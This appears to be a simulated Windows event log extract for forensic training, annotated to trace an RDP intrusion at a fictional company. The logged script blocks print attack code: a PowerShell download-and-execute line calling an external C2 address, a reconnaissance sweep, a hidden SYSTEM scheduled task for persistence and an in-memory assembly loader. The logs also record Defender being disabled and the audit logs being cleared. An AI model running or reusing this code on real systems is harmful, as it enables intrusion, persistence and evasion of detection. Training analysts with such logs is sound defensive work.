================================================================================
SIMULATED WINDOWS EVENT LOG EXTRACT -- FORENSIC TRAINING EXERCISE
Case: INTL-2025-0042 | Source: WORKSTATION-PC (10.0.5.21)
Exported: wevtutil qe Security,System,Microsoft-Windows-PowerShell/Operational
Time range: 2025-07-15 02:30:00 UTC to 2025-07-15 04:30:00 UTC
================================================================================

========================================
EVENT LOG: Security
========================================

--- RDP Logon from unusual external IP ---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 02:44:51 UTC
Event ID:      4624
Task Category: Logon
Level:         Information
Keywords:      Audit Success
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
An account was successfully logged on.

Subject:
  Security ID:        S-1-0-0
  Account Name:       -
  Account Domain:     -
  Logon ID:           0x0

Logon Information:
  Logon Type:         10          <<< TYPE 10 = RemoteInteractive (RDP)
  Restricted Admin:   No
  Virtual Account:    No
  Elevated Token:     Yes

New Logon:
  Security ID:        S-1-5-21-3842573829-1048230927-2901938482-1104
  Account Name:       jdoe
  Account Domain:     CORP
  Logon ID:           0x7A4F21C
  Linked Logon ID:    0x0
  Network Account:    -
  Logon GUID:         {00000000-0000-0000-0000-000000000000}

Process Information:
  Process ID:         0x0
  Process Name:       C:\Windows\System32\svchost.exe

Network Information:
  Workstation Name:   ATTACKER-WS
  Source Network Address: 91.234.99.187     <<< UNUSUAL EXTERNAL IP -- NOT CORP RANGE
  Source Port:        58723

Detailed Auth Info:
  Logon Process:      User32
  Authentication Package: Negotiate
  Transited Services: -
  Package Name:       NTLM V2              <<< NTLMv2 not Kerberos -- external logon
  Key Length:          128

>>> ALERT: Type 10 (RDP) logon from external IP 91.234.99.187 at 02:44 UTC
>>> Normal RDP sources for jdoe: 10.0.5.100, 10.0.5.101 (internal workstations)
>>> This IP geolocates to Eastern Europe -- user jdoe is US-based

---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 02:44:51 UTC
Event ID:      4672
Task Category: Special Logon
Level:         Information
Keywords:      Audit Success
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Special privileges assigned to new logon.

Subject:
  Security ID:        S-1-5-21-3842573829-1048230927-2901938482-1104
  Account Name:       jdoe
  Account Domain:     CORP
  Logon ID:           0x7A4F21C

Privileges:
  SeSecurityPrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeDebugPrivilege            <<< USED FOR PROCESS INJECTION
  SeSystemEnvironmentPrivilege
  SeImpersonatePrivilege      <<< USED FOR TOKEN MANIPULATION

---

--- Suspicious Process Creation ---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 02:47:33 UTC
Event ID:      4688
Task Category: Process Creation
Level:         Information
Keywords:      Audit Success
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
A new process has been created.

Subject:
  Security ID:        S-1-5-21-3842573829-1048230927-2901938482-1104
  Account Name:       jdoe
  Account Domain:     CORP
  Logon ID:           0x7A4F21C

Process Information:
  New Process ID:     0x131C     (PID 4892)
  New Process Name:   C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Token Elevation:    %%1936 (elevated)
  Mandatory Label:    S-1-16-12288 (High)
  Creator Process ID: 0x086C     (PID 2156 = explorer.exe)
  Creator Process Name: C:\Windows\explorer.exe
  Process Command Line: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0A...

>>> ALERT: PowerShell launched with -nop -w hidden -enc flags
>>> This is a common attack pattern: No Profile, Window Hidden, Encoded Command

---

--- Failed Lateral Movement Attempts ---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 03:02:15 UTC
Event ID:      4625
Task Category: Logon
Level:         Information
Keywords:      Audit Failure
Computer:      DC01.corp.acmeindustries.local
Description:
An account failed to log on.

  Account Name:       administrator
  Account Domain:     CORP
  Source Network Address: 10.0.5.21        <<< FROM COMPROMISED WORKSTATION
  Logon Type:         3
  Failure Reason:     %%2313 (Unknown user name or bad password)
  Status:             0xC000006D
  Sub Status:         0xC000006A

>>> ALERT: Failed logon to DC from compromised workstation -- credential testing

---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 03:02:18 UTC
Event ID:      4625
Task Category: Logon
Level:         Information
Keywords:      Audit Failure
Computer:      DC01.corp.acmeindustries.local
Description:
An account failed to log on.

  Account Name:       admin
  Account Domain:     CORP
  Source Network Address: 10.0.5.21
  Logon Type:         3
  Failure Reason:     %%2313

---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 03:02:22 UTC
Event ID:      4625
Task Category: Logon
Level:         Information
Keywords:      Audit Failure
Computer:      DC01.corp.acmeindustries.local
Description:
An account failed to log on.

  Account Name:       svc_backup
  Account Domain:     CORP
  Source Network Address: 10.0.5.21
  Logon Type:         3
  Failure Reason:     %%2313

>>> ALERT: Multiple failed logons from 10.0.5.21 in rapid succession -- credential spraying

---

--- Successful Lateral Movement to File Server ---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 03:08:44 UTC
Event ID:      4624
Task Category: Logon
Level:         Information
Keywords:      Audit Success
Computer:      FILESERVER01.corp.acmeindustries.local
Description:
An account was successfully logged on.

  Account Name:       jdoe
  Account Domain:     CORP
  Logon Type:         3          <<< Network logon (SMB)
  Source Network Address: 10.0.5.21
  Logon Process:      NtLmSsp

>>> ALERT: Lateral movement from compromised workstation to FILESERVER01 via SMB

========================================
EVENT LOG: Microsoft-Windows-PowerShell/Operational
========================================

--- PowerShell Script Block Logging (4104) ---

Log Name:      Microsoft-Windows-PowerShell/Operational
Source:        Microsoft-Windows-PowerShell
Date:          2025-07-15 02:47:33 UTC
Event ID:      4104
Task Category: Execute a Remote Command
Level:         Warning
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Creating Scriptblock text (1 of 1):

IEX (New-Object Net.WebClient).DownloadString('https://185.220.101.47:8443/stager')

ScriptBlock ID: {8a2f4e1c-3b5d-4c6e-9a7f-2d1e8b3c4f5a}
Path:

>>> DECODED: Downloads and executes code from C2 server 185.220.101.47

---

Log Name:      Microsoft-Windows-PowerShell/Operational
Source:        Microsoft-Windows-PowerShell
Date:          2025-07-15 02:48:05 UTC
Event ID:      4104
Task Category: Execute a Remote Command
Level:         Warning
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Creating Scriptblock text (1 of 1):

function Invoke-ReconSweep {
    $info = @{}
    $info['hostname'] = $env:COMPUTERNAME
    $info['user'] = whoami /all
    $info['domain'] = (Get-ADDomain).DNSRoot
    $info['admins'] = net group "Domain Admins" /domain
    $info['trusts'] = nltest /domain_trusts
    $info['shares'] = net view \\FILESERVER01 /all
    $info['arp'] = arp -a
    $info['routes'] = route print
    $info | ConvertTo-Json | Out-File C:\Windows\Temp\recon_output.txt
}
Invoke-ReconSweep

ScriptBlock ID: {9b3f5e2d-4c6e-5d7f-0a8b-3e2f9c4d5a6b}

>>> ALERT: Automated reconnaissance script collecting domain, admin, and network information

---

Log Name:      Microsoft-Windows-PowerShell/Operational
Source:        Microsoft-Windows-PowerShell
Date:          2025-07-15 02:51:30 UTC
Event ID:      4104
Task Category: Execute a Remote Command
Level:         Warning
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Creating Scriptblock text (1 of 1):

$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\svc_update.exe" -Argument "-k netsvcs"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\Maintenance\SystemHealthCheck" `
    -Action $action -Trigger $trigger -Principal $principal -Settings $settings `
    -Description "Performs routine system health diagnostics"

ScriptBlock ID: {ac4f6e3e-5d7f-6e8a-1b9c-4f3a0d5e6b7c}

>>> ALERT: Creating hidden scheduled task for persistence
>>> Masquerading as legitimate Windows maintenance task
>>> Runs malicious svc_update.exe as SYSTEM at every startup

---

Log Name:      Microsoft-Windows-PowerShell/Operational
Source:        Microsoft-Windows-PowerShell
Date:          2025-07-15 03:15:22 UTC
Event ID:      4104
Task Category: Execute a Remote Command
Level:         Warning
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Creating Scriptblock text (1 of 2):

$enc = [System.IO.File]::ReadAllText("C:\Windows\Temp\payload.b64")
$bytes = [Convert]::FromBase64String($enc)
$ms = New-Object IO.MemoryStream(,$bytes)
$gz = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gz)
$code = $sr.ReadToEnd()
[System.Reflection.Assembly]::Load([Convert]::FromBase64String($code))

ScriptBlock ID: {bd5a7f4f-6e8a-7f9b-2c0d-5a4b1e6f7c8d}

>>> ALERT: Fileless malware technique -- loading .NET assembly directly into memory
>>> No PE file written to disk -- evades traditional AV file scanning

========================================
EVENT LOG: System
========================================

--- New Service Installation ---

Log Name:      System
Source:        Service Control Manager
Date:          2025-07-15 02:51:44 UTC
Event ID:      7045
Task Category: None
Level:         Information
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
A service was installed in the system.

Service Name:  SystemHealthMonitor
Service File Name: C:\Windows\Temp\svc_update.exe -k netsvcs
Service Type:  user mode service
Service Start Type: auto start
Service Account: LocalSystem

>>> ALERT: New service installed running from Temp directory as SYSTEM
>>> Legitimate services never run from %TEMP%
>>> Service name mimics legitimate Windows service naming convention

---

--- Windows Defender Disabled ---

Log Name:      Microsoft-Windows-Windows Defender/Operational
Source:        Microsoft-Windows-Windows Defender
Date:          2025-07-15 02:50:12 UTC
Event ID:      5001
Task Category: None
Level:         Warning
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Microsoft Defender Antivirus Real-Time Protection has been disabled.

>>> ALERT: Real-time protection disabled -- common attacker action before dropping tools

---

Log Name:      Microsoft-Windows-Windows Defender/Operational
Source:        Microsoft-Windows-Windows Defender
Date:          2025-07-15 02:50:14 UTC
Event ID:      5010
Task Category: None
Level:         Warning
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Microsoft Defender Antivirus scanning for malware and other potentially unwanted
software has been disabled.

---

Log Name:      Microsoft-Windows-Windows Defender/Operational
Source:        Microsoft-Windows-Windows Defender
Date:          2025-07-15 02:50:15 UTC
Event ID:      5012
Task Category: None
Level:         Warning
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
Microsoft Defender Antivirus scanning for viruses has been disabled.

>>> ALERT: All Defender scanning components systematically disabled

---

--- Audit Log Cleared ---

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          2025-07-15 04:15:33 UTC
Event ID:      1102
Task Category: Log clear
Level:         Information
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
The audit log was cleared.

Subject:
  Security ID:        S-1-5-21-3842573829-1048230927-2901938482-1104
  Account Name:       jdoe
  Account Domain:     CORP
  Logon ID:           0x7A4F21C

>>> CRITICAL ALERT: Security audit log cleared by compromised jdoe account
>>> This is anti-forensics -- Event ID 1102 is itself evidence of log tampering
>>> The act of clearing the log generates this one final entry
>>> Forwarded logs (if configured) would still contain the cleared events

---

--- System Event Log Cleared ---

Log Name:      System
Source:        Microsoft-Windows-Eventlog
Date:          2025-07-15 04:15:35 UTC
Event ID:      104
Task Category: Log clear
Level:         Information
Computer:      WORKSTATION-PC.corp.acmeindustries.local
Description:
The System log file was cleared.

Subject:
  Security ID:        S-1-5-21-3842573829-1048230927-2901938482-1104
  Account Name:       jdoe

>>> ALERT: System log also cleared -- attacker wiping all local log evidence

================================================================================
END OF SIMULATED EVENT LOG EXTRACT
================================================================================

INVESTIGATION TIMELINE FROM LOGS:
02:44:51 - RDP logon from 91.234.99.187 (external, Eastern Europe) as jdoe
02:47:33 - PowerShell launched with encoded C2 download command
02:48:05 - Automated reconnaissance script executed
02:50:12 - Windows Defender real-time protection disabled
02:50:14 - Defender scanning disabled
02:50:15 - Defender virus scanning disabled
02:51:30 - Persistence scheduled task created (SystemHealthCheck)
02:51:44 - Persistence service installed (SystemHealthMonitor)
03:02:15 - Failed lateral movement to DC01 (credential spraying)
03:08:44 - Successful lateral movement to FILESERVER01 via SMB
03:15:22 - Fileless second-stage payload loaded into memory
04:15:33 - Security audit log cleared (anti-forensics)
04:15:35 - System event log cleared (anti-forensics)
